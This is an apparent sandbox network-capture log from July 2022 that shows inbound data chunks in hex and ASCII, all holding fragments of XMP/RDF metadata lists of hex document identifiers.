2022-07-20 07:08:24 UTC	1465	IN	Data Raw: 31 44 34 42 35 30 45 41 41 45 33 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 43 33 32 35 34 31 44 38 43 33 46 44 41 38 44 33 46 46 37 46 35 39 30 31 35 31 36 36 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 44 32 44 32 36 42 46 32 43 39 31 34 46 39 43 38 32 31 30 33 39 41 41 31 34 41 41 46 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 44 38 41 39 43 38 42 35 31 42 44 41 35 41 46 39 44 36 45 30 41 38 39 34 42 41 37 42 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 45 31 44 35 36 44 42 42 46 43 44 45 43 31 31 42 34 32 36 45 46 31 45 30 44 44 31 44 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 46 46 34 39 30 35 30 34 45 43 31 39 31 35 32 33 31 45 41 43 30 34 Data Ascii: 1D4B50EAAE367</rdf:li> <rdf:li>08C32541D8C3FDA8D3FF7F5901516618</rdf:li> <rdf:li>08D2D26BF2C914F9C821039AA14AAFFA</rdf:li> <rdf:li>08D8A9C8B51BDA5AF9D6E0A894BA7BA8</rdf:li> <rdf:li>08E1D56DBBFCDEC11B426EF1E0DD1D67</rdf:li> <rdf:li>08FF490504EC1915231EAC04
2022-07-20 07:08:24 UTC	1489	IN	Data Raw: 38 35 36 32 41 44 46 43 32 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 37 38 35 31 33 41 42 41 37 46 43 33 33 42 36 44 45 30 30 31 36 42 45 38 30 35 42 34 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 38 30 30 46 31 33 30 32 32 33 32 30 34 39 44 45 45 30 35 34 37 42 42 30 45 46 44 45 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 38 35 33 31 30 44 46 39 44 43 44 44 41 43 31 36 38 42 30 36 43 36 39 39 37 39 43 39 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 38 45 42 31 34 46 43 46 34 30 37 33 43 38 43 38 32 42 34 46 44 43 32 45 31 35 43 31 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 46 39 34 33 46 37 33 43 32 33 43 46 30 43 39 44 30 38 35 37 33 31 34 39 36 Data Ascii: 8562ADFC2D9</rdf:li> <rdf:li>0F78513ABA7FC33B6DE0016BE805B45D</rdf:li> <rdf:li>0F800F1302232049DEE0547BB0EFDEB5</rdf:li> <rdf:li>0F85310DF9DCDDAC168B06C69979C98C</rdf:li> <rdf:li>0F8EB14FCF4073C8C82B4FDC2E15C13D</rdf:li> <rdf:li>0F943F73C23CF0C9D085731496
2022-07-20 07:08:24 UTC	1521	IN	Data Raw: 44 35 41 37 39 34 38 35 34 31 37 42 44 38 38 38 35 30 44 42 30 44 41 43 38 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 36 37 32 33 32 33 41 36 31 37 31 39 36 30 33 38 41 34 35 42 34 41 37 41 31 35 34 35 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 36 45 38 36 45 35 34 38 45 35 41 38 36 34 39 31 32 37 45 35 31 42 42 32 37 42 46 31 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 37 34 41 34 39 44 43 42 42 30 39 44 38 46 36 38 39 34 37 36 32 43 43 36 45 45 46 41 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 37 39 45 30 45 30 35 33 38 46 44 33 36 44 39 37 37 44 39 32 44 44 37 41 39 34 34 42 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 43 41 30 38 36 42 38 46 37 Data Ascii: D5A79485417BD88850DB0DAC840</rdf:li> <rdf:li>1C672323A617196038A45B4A7A1545DD</rdf:li> <rdf:li>1C6E86E548E5A8649127E51BB27BF165</rdf:li> <rdf:li>1C74A49DCBB09D8F6894762CC6EEFA4D</rdf:li> <rdf:li>1C79E0E0538FD36D977D92DD7A944BE8</rdf:li> <rdf:li>1CA086B8F7
2022-07-20 07:08:24 UTC	1569	IN	Data Raw: 33 38 42 45 39 32 44 31 37 30 32 38 33 38 44 34 32 32 41 46 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 44 43 33 43 30 38 31 35 36 38 42 35 41 44 44 41 32 39 34 35 46 41 37 30 37 30 42 44 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 45 32 38 42 39 33 32 43 41 39 41 31 39 44 38 44 41 41 32 38 41 38 31 31 42 30 43 36 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 45 36 32 46 33 33 36 41 42 30 43 42 32 42 32 41 44 36 33 45 30 30 46 30 30 34 42 46 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 45 42 45 32 35 31 31 32 38 33 42 37 42 43 33 34 36 32 35 30 45 42 33 46 30 41 35 41 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 46 33 38 41 45 32 33 38 32 32 41 34 38 Data Ascii: 38BE92D1702838D422AFAC</rdf:li> <rdf:li>29DC3C081568B5ADDA2945FA7070BDFC</rdf:li> <rdf:li>29E28B932CA9A19D8DAA28A811B0C673</rdf:li> <rdf:li>29E62F336AB0CB2B2AD63E00F004BF0C</rdf:li> <rdf:li>29EBE2511283B7BC346250EB3F0A5A3A</rdf:li> <rdf:li>29F38AE23822A48
2022-07-20 07:08:24 UTC	1609	IN	Data Raw: 33 37 42 42 38 44 36 31 36 42 34 42 43 30 45 36 45 37 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 39 45 43 42 43 43 36 35 43 33 43 35 34 34 36 33 43 38 37 38 44 46 41 35 34 30 37 45 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 41 34 31 30 38 45 30 45 34 32 36 33 42 31 43 31 33 33 37 41 33 41 34 31 42 35 41 37 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 42 44 36 32 46 43 36 41 45 34 38 32 38 44 42 43 33 32 32 39 39 42 33 35 34 35 32 33 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 42 46 39 38 37 34 42 36 46 39 42 43 35 39 31 33 45 37 31 30 35 43 31 39 37 38 46 44 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 43 35 34 33 46 38 41 42 41 45 37 44 37 37 31 Data Ascii: 37BB8D616B4BC0E6E77A</rdf:li> <rdf:li>2F9ECBCC65C3C54463C878DFA5407E2D</rdf:li> <rdf:li>2FA4108E0E4263B1C1337A3A41B5A7D1</rdf:li> <rdf:li>2FBD62FC6AE4828DBC32299B3545236E</rdf:li> <rdf:li>2FBF9874B6F9BC5913E7105C1978FDB3</rdf:li> <rdf:li>2FC543F8ABAE7D771
2022-07-20 07:08:24 UTC	1680	IN	Data Raw: 3a 6c 69 3e 33 43 46 44 46 46 38 34 45 45 30 42 45 42 46 33 32 34 32 35 32 35 38 41 35 34 30 39 43 41 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 31 41 30 32 45 36 44 39 33 32 46 30 37 35 34 30 36 33 30 36 30 33 35 33 43 38 33 35 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 32 30 41 46 44 37 35 33 44 38 37 35 37 31 44 33 37 45 35 33 45 33 38 37 39 34 42 31 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 32 34 32 32 36 44 35 31 34 38 41 36 39 44 42 41 45 43 32 35 38 32 35 42 45 41 36 33 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 32 41 46 46 31 30 34 32 33 46 31 38 38 30 35 37 34 35 43 30 35 39 41 39 31 43 33 39 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 Data Ascii: :li>3CFDFF84EE0BEBF32425258A5409CACC</rdf:li> <rdf:li>3D1A02E6D932F0754063060353C835B9</rdf:li> <rdf:li>3D20AFD753D87571D37E53E38794B151</rdf:li> <rdf:li>3D24226D5148A69DBAEC25825BEA6363</rdf:li> <rdf:li>3D2AFF10423F18805745C059A91C391A</rdf:li> <rdf:li>3
2022-07-20 07:08:24 UTC	1704	IN	Data Raw: 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 37 33 42 35 41 42 39 38 42 44 36 46 33 30 46 32 46 36 30 37 36 38 42 44 38 44 35 42 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 37 41 42 32 35 34 39 36 32 44 39 45 41 30 39 41 32 44 30 41 35 44 35 44 32 38 45 34 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 37 42 34 41 36 32 42 41 31 46 44 39 36 32 36 37 32 31 35 35 34 30 42 45 36 41 38 44 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 38 35 39 41 31 43 32 34 31 39 38 38 35 33 41 32 41 31 31 34 30 30 45 34 37 34 39 37 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 41 41 44 44 36 33 35 43 43 31 32 34 35 42 37 30 46 30 44 45 36 34 32 36 43 41 33 36 45 44 3c 2f 72 Data Ascii: D7</rdf:li> <rdf:li>4973B5AB98BD6F30F2F60768BD8D5B68</rdf:li> <rdf:li>497AB254962D9EA09A2D0A5D5D28E415</rdf:li> <rdf:li>497B4A62BA1FD96267215540BE6A8DCE</rdf:li> <rdf:li>49859A1C24198853A2A11400E4749721</rdf:li> <rdf:li>49AADD635CC1245B70F0DE6426CA36ED</r
2022-07-20 07:08:24 UTC	1807	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 30 36 37 32 35 44 37 44 39 43 46 46 38 36 41 45 32 38 37 46 41 42 32 45 42 35 39 30 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 30 43 32 42 46 39 35 31 38 30 31 34 41 43 32 39 41 39 42 35 39 39 36 41 46 44 31 36 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 30 46 34 37 34 36 36 43 46 31 42 41 44 31 38 32 44 43 34 35 45 44 39 31 33 30 34 30 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 32 46 37 38 44 37 34 39 42 33 32 45 31 34 41 37 36 46 36 37 38 46 37 43 31 34 34 31 31 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 33 41 46 35 44 43 45 31 36 30 43 34 32 35 41 32 45 31 41 34 34 42 42 45 45 31 35 31 45 34 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>5006725D7D9CFF86AE287FAB2EB5906D</rdf:li> <rdf:li>500C2BF9518014AC29A9B5996AFD160B</rdf:li> <rdf:li>500F47466CF1BAD182DC45ED9130406E</rdf:li> <rdf:li>502F78D749B32E14A76F678F7C14411E</rdf:li> <rdf:li>503AF5DCE160C425A2E1A44BBEE151E4</rdf
2022-07-20 07:08:24 UTC	1839	IN	Data Raw: 43 46 41 39 30 33 46 43 41 41 33 41 33 34 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 35 31 39 45 33 35 35 42 34 37 33 43 39 31 31 36 39 39 32 38 44 32 32 36 33 37 34 33 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 35 43 42 42 30 38 34 46 34 44 30 44 38 30 38 33 38 44 37 33 42 41 43 35 36 32 46 33 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 36 33 46 41 33 44 38 46 39 34 36 34 37 30 43 30 33 34 33 38 33 41 38 36 32 35 31 36 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 36 37 41 36 43 34 34 34 43 35 36 31 39 39 44 38 30 46 37 33 41 46 34 41 32 44 36 42 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 37 45 32 30 33 36 33 46 36 36 43 44 43 32 33 38 38 44 38 Data Ascii: CFA903FCAA3A347B</rdf:li> <rdf:li>5E519E355B473C91169928D226374379</rdf:li> <rdf:li>5E5CBB084F4D0D80838D73BAC562F3DF</rdf:li> <rdf:li>5E63FA3D8F946470C034383A8625165A</rdf:li> <rdf:li>5E67A6C444C56199D80F73AF4A2D6B7E</rdf:li> <rdf:li>5E7E20363F66CDC2388D8
2022-07-20 07:08:24 UTC	1919	IN	Data Raw: 44 30 34 43 45 36 45 37 43 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 38 35 32 31 32 32 38 41 39 32 30 44 32 37 35 45 46 42 31 41 32 33 30 35 42 43 44 30 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 38 42 37 31 31 43 44 34 41 37 31 30 46 34 30 31 41 46 35 43 39 45 32 34 39 46 35 35 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 39 44 33 39 35 38 32 33 37 44 43 38 41 32 36 43 31 32 42 30 44 38 30 42 41 41 41 35 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 41 36 32 43 36 39 31 45 46 30 39 31 34 42 31 43 35 45 43 46 43 30 45 43 31 42 37 42 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 42 42 37 36 36 42 44 44 30 38 34 45 31 42 39 39 42 44 46 42 34 43 33 42 Data Ascii: D04CE6E7CDA</rdf:li> <rdf:li>6C8521228A920D275EFB1A2305BCD08F</rdf:li> <rdf:li>6C8B711CD4A710F401AF5C9E249F55A3</rdf:li> <rdf:li>6C9D3958237DC8A26C12B0D80BAAA55A</rdf:li> <rdf:li>6CA62C691EF0914B1C5ECFC0EC1B7BC9</rdf:li> <rdf:li>6CBB766BDD084E1B99BDFB4C3B
2022-07-20 07:08:24 UTC	1998	IN	Data Raw: 42 46 44 30 31 41 46 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 32 37 39 39 30 41 42 45 44 32 43 30 42 36 41 44 32 42 46 31 30 45 32 38 41 38 44 32 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 33 42 45 30 44 37 38 30 35 39 41 39 38 44 45 35 42 39 38 44 45 46 36 32 32 34 38 38 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 34 44 33 39 37 36 41 32 31 42 30 36 46 32 33 30 44 45 43 45 42 30 34 35 44 35 43 44 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 35 34 35 33 39 37 42 36 39 33 38 39 32 32 46 45 35 46 33 39 45 30 34 41 33 33 34 30 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 35 37 38 43 39 33 33 41 33 39 42 33 41 38 39 35 33 31 43 37 34 43 46 31 45 37 Data Ascii: BFD01AFDE</rdf:li> <rdf:li>7427990ABED2C0B6AD2BF10E28A8D2ED</rdf:li> <rdf:li>743BE0D78059A98DE5B98DEF62248830</rdf:li> <rdf:li>744D3976A21B06F230DECEB045D5CD18</rdf:li> <rdf:li>74545397B6938922FE5F39E04A33403F</rdf:li> <rdf:li>74578C933A39B3A89531C74CF1E7
2022-07-20 07:08:24 UTC	2022	IN	Data Raw: 37 38 33 45 34 37 37 33 44 30 36 30 44 31 46 32 41 33 33 41 44 38 39 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 39 46 30 42 36 38 45 30 45 45 37 41 39 30 44 46 33 46 34 35 38 36 41 34 30 35 45 42 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 42 30 44 37 43 44 34 34 38 36 45 43 46 39 38 44 46 35 36 32 31 43 45 34 43 45 33 37 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 42 38 39 38 46 34 34 30 38 44 33 37 33 34 30 34 35 41 34 30 46 38 39 46 46 32 42 39 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 44 30 44 37 43 43 37 41 33 32 45 41 33 37 33 33 35 35 35 46 38 30 46 44 41 31 36 34 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 44 45 39 39 41 41 41 43 31 41 Data Ascii: 783E4773D060D1F2A33AD89A3</rdf:li> <rdf:li>819F0B68E0EE7A90DF3F4586A405EB18</rdf:li> <rdf:li>81B0D7CD4486ECF98DF5621CE4CE37D0</rdf:li> <rdf:li>81B898F4408D3734045A40F89FF2B971</rdf:li> <rdf:li>81D0D7CC7A32EA3733555F80FDA1648A</rdf:li> <rdf:li>81DE99AAAC1A
2022-07-20 07:08:24 UTC	2078	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 38 45 34 36 36 30 37 33 32 32 32 43 45 41 43 43 35 32 43 36 46 35 37 42 46 38 31 36 34 41 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 45 34 42 46 34 37 34 41 34 43 42 46 38 39 46 39 43 31 43 46 31 45 46 37 31 46 37 31 44 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 45 35 33 34 43 31 33 30 31 39 44 33 46 39 44 46 36 32 31 31 41 45 34 37 38 33 39 32 33 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 45 35 37 39 35 38 39 42 36 45 43 39 42 38 34 44 34 45 41 44 37 32 36 41 42 32 46 41 31 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 45 36 32 30 39 34 43 36 33 46 36 42 37 34 39 35 42 44 36 32 46 34 39 42 35 43 44 34 41 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: <rdf:li>8E466073222CEACC52C6F57BF8164A4B</rdf:li> <rdf:li>8E4BF474A4CBF89F9C1CF1EF71F71DD2</rdf:li> <rdf:li>8E534C13019D3F9DF6211AE4783923FE</rdf:li> <rdf:li>8E579589B6EC9B84D4EAD726AB2FA1D4</rdf:li> <rdf:li>8E62094C63F6B7495BD62F49B5CD4A16</rdf:li> <rdf
2022-07-20 07:08:24 UTC	2102	IN	Data Raw: 72 64 66 3a 6c 69 3e 39 35 41 34 46 34 37 37 34 35 30 38 45 33 35 43 34 42 30 33 46 37 44 45 34 41 45 41 44 43 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 41 42 39 30 44 30 36 37 35 37 33 43 46 43 36 44 44 45 45 41 46 32 32 35 46 37 42 38 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 42 37 32 42 39 30 35 45 30 45 41 31 33 43 38 32 41 39 35 36 30 41 46 39 41 30 31 37 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 43 34 35 33 42 38 32 38 34 37 43 44 32 43 31 41 46 46 31 45 33 38 42 36 36 41 45 33 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 43 41 35 43 37 45 31 34 32 30 31 31 41 46 30 42 31 36 36 39 37 32 33 41 45 43 39 30 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: rdf:li>95A4F4774508E35C4B03F7DE4AEADC89</rdf:li> <rdf:li>95AB90D067573CFC6DDEEAF225F7B810</rdf:li> <rdf:li>95B72B905E0EA13C82A9560AF9A017B5</rdf:li> <rdf:li>95C453B82847CD2C1AFF1E38B66AE3FB</rdf:li> <rdf:li>95CA5C7E142011AF0B1669723AEC90FD</rdf:li> <rdf:l
2022-07-20 07:08:24 UTC	2165	IN	Data Raw: 69 3e 41 33 34 36 43 41 37 44 37 36 44 36 43 32 45 35 45 30 39 32 37 44 41 35 39 35 43 46 44 35 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 35 36 35 46 39 44 44 33 31 32 39 37 44 45 45 37 37 44 33 42 41 42 37 41 41 46 42 46 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 36 46 45 36 33 32 31 39 42 41 46 46 38 41 43 33 43 44 35 37 43 33 41 46 45 38 37 43 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 37 32 31 42 36 41 30 32 46 33 38 36 30 46 46 39 33 38 31 30 34 46 41 35 32 33 43 45 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 38 35 33 35 36 46 44 38 46 35 41 42 38 34 45 31 42 44 31 42 38 36 36 30 30 31 34 30 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 38 Data Ascii: i>A346CA7D76D6C2E5E0927DA595CFD5CF</rdf:li> <rdf:li>A3565F9DD31297DEE77D3BAB7AAFBFD6</rdf:li> <rdf:li>A36FE63219BAFF8AC3CD57C3AFE87C68</rdf:li> <rdf:li>A3721B6A02F3860FF938104FA523CEA8</rdf:li> <rdf:li>A385356FD8F5AB84E1BD1B8660014069</rdf:li> <rdf:li>A38
2022-07-20 07:08:24 UTC	2221	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 30 41 36 45 46 32 33 35 33 33 30 30 36 39 38 36 42 42 41 43 33 38 31 41 42 39 35 41 44 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 30 44 30 34 43 31 36 32 42 36 34 36 36 33 43 38 39 41 44 35 35 42 38 45 35 46 41 44 36 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 30 44 35 32 46 46 46 31 42 44 31 45 34 30 35 43 39 41 39 43 32 38 38 39 43 30 44 37 43 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 30 45 30 33 41 41 32 30 33 30 31 36 33 45 46 41 36 39 41 46 30 43 32 31 43 35 32 42 35 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 30 45 46 39 41 43 38 34 35 35 36 30 34 45 33 32 30 35 43 45 33 32 33 37 45 42 44 44 45 39 34 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>B0A6EF23533006986BBAC381AB95AD93</rdf:li> <rdf:li>B0D04C162B64663C89AD55B8E5FAD6C1</rdf:li> <rdf:li>B0D52FFF1BD1E405C9A9C2889C0D7C82</rdf:li> <rdf:li>B0E03AA2030163EFA69AF0C21C52B548</rdf:li> <rdf:li>B0EF9AC8455604E3205CE3237EBDDE94</rdf
2022-07-20 07:08:24 UTC	2229	IN	Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 43 35 30 42 44 44 45 35 30 33 30 35 43 36 45 37 43 43 43 44 43 37 43 46 41 44 31 38 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 43 38 32 35 30 45 38 30 37 33 39 33 33 32 37 36 30 45 32 31 37 38 38 44 30 35 33 42 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 44 30 42 30 46 33 41 35 41 30 41 46 38 33 41 32 41 30 45 44 31 39 42 31 44 39 42 44 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 44 39 33 42 35 41 41 41 42 31 38 42 45 37 37 45 46 38 30 36 46 46 36 42 33 33 39 42 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 44 42 41 33 41 44 41 43 42 32 39 35 31 30 30 33 34 43 31 33 35 33 41 36 44 45 35 44 43 46 3c 2f 72 64 66 3a 6c Data Ascii: rdf:li> <rdf:li>B6C50BDDE50305C6E7CCCDC7CFAD1824</rdf:li> <rdf:li>B6C8250E80739332760E21788D053BA1</rdf:li> <rdf:li>B6D0B0F3A5A0AF83A2A0ED19B1D9BD66</rdf:li> <rdf:li>B6D93B5AAAB18BE77EF806FF6B339B1C</rdf:li> <rdf:li>B6DBA3ADACB29510034C1353A6DE5DCF</rdf:l
2022-07-20 07:08:24 UTC	2277	IN	Data Raw: 36 34 32 43 31 33 31 35 39 36 30 32 34 46 38 37 38 30 30 37 32 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 31 37 33 33 42 46 35 39 38 42 42 38 44 38 41 35 45 33 30 45 43 34 44 34 42 30 42 42 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 33 34 39 38 46 43 45 37 37 46 43 32 45 44 44 38 46 38 34 37 31 38 30 42 33 32 42 42 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 33 44 33 45 37 38 37 35 31 38 30 38 43 33 44 39 39 30 35 33 33 44 38 33 32 45 38 44 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 33 44 38 30 39 37 37 42 43 46 39 44 34 34 30 43 39 32 43 45 31 42 44 35 38 31 46 43 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 36 42 30 37 30 32 44 44 44 41 37 41 Data Ascii: 642C131596024F878007265</rdf:li> <rdf:li>B71733BF598BB8D8A5E30EC4D4B0BBCE</rdf:li> <rdf:li>B73498FCE77FC2EDD8F847180B32BB24</rdf:li> <rdf:li>B73D3E78751808C3D990533D832E8D10</rdf:li> <rdf:li>B73D80977BCF9D440C92CE1BD581FC53</rdf:li> <rdf:li>B76B0702DDDA7A
2022-07-20 07:08:24 UTC	2333	IN	Data Raw: 72 64 66 3a 6c 69 3e 43 35 35 33 42 38 43 46 44 30 36 34 45 30 30 44 30 46 36 34 39 42 38 38 33 37 33 45 45 42 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 35 38 44 38 36 30 39 32 42 32 42 30 42 36 41 39 35 37 42 42 42 37 44 39 45 37 41 32 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 38 34 32 38 39 35 43 34 42 30 32 33 39 46 41 36 37 41 42 30 35 41 32 46 38 44 46 39 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 38 34 34 38 38 31 32 36 45 43 44 32 31 39 33 46 45 43 45 34 31 39 37 37 42 38 33 43 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 38 42 41 30 32 30 46 37 35 36 44 34 34 30 44 43 43 46 33 36 36 32 42 38 36 44 46 32 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: rdf:li>C553B8CFD064E00D0F649B88373EEB9D</rdf:li> <rdf:li>C558D86092B2B0B6A957BBB7D9E7A25E</rdf:li> <rdf:li>C5842895C4B0239FA67AB05A2F8DF972</rdf:li> <rdf:li>C584488126ECD2193FECE41977B83C1F</rdf:li> <rdf:li>C58BA020F756D440DCCF3662B86DF2FB</rdf:li> <rdf:l
